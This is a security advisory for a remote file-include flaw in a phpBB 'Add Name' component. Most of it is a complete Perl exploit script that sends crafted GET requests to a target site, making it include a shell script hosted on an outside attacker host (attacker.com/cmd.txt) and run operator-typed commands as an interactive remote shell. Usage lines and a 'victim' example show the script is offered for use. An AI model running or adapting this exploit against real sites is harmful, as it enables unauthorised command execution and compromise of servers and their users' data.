source: https://www.securityfocus.com/bid/20516/info

The Add Name component for phpBB is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

#!/usr/bin/perl

#####################################################################################################
#                                                                                                   #
# phpBB Add Name                                                                                    #
#                                                                                                   #
# Class:  Remote File Include Vulnerability                                                         #
#                                                                                                   #
# Patch:  unavailable                                                                               #
#                                                                                                   #
# Date:   2006/10/12                                                                                #
#                                                                                                   #
# Remote: Yes                                                                                       #
#                                                                                                   #
# Type:   high                                                                                      #
#                                                                                                   #
# Site:   http://web.dhjh.tcc.edu.tw/~gzqbyr/php_docs/phpBB/add_name.zip/                           #
#                                                                                                   #
#####################################################################################################


use IO::Socket;
use LWP::Simple;

$cmdshell="http://attacker.com/cmd.txt";   # <====== Change This Line With Your Personal Script

print "\n";
print "##########################################################################\n";
print "#                                                                        #\n";
print "# phpBB Add Name Remote File Include Vulnerability                       #\n";
print "# Bug found By : Ashiyane Corporation                                    #\n";
print "# Email: nima salehi    nima[at]ashiyane.ir                              #\n";
print "# Web Site : www.Ashiyane.ir                                             #\n";
print "#                                                                        #\n";
print "##########################################################################\n";


if (@ARGV < 2)
{
    print "\n Usage: Ashiyane.pl [host] [path] ";
    print "\n EX : Ashiyane.pl www.victim.com /path/  \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vul="includes/not_mem.php?phpbb_root_path="

print "Type Your Commands ( uname -a )\n";
print "For Exiit Type END\n";

print "<Shell> ";$cmd = <STDIN>;

while($cmd !~ "END") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";

    print $socket "GET ".$path.$vul.$cmdshell."?cmd=".$cmd."? HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }

    print "<Shell> ";
    $cmd = <STDIN>;
}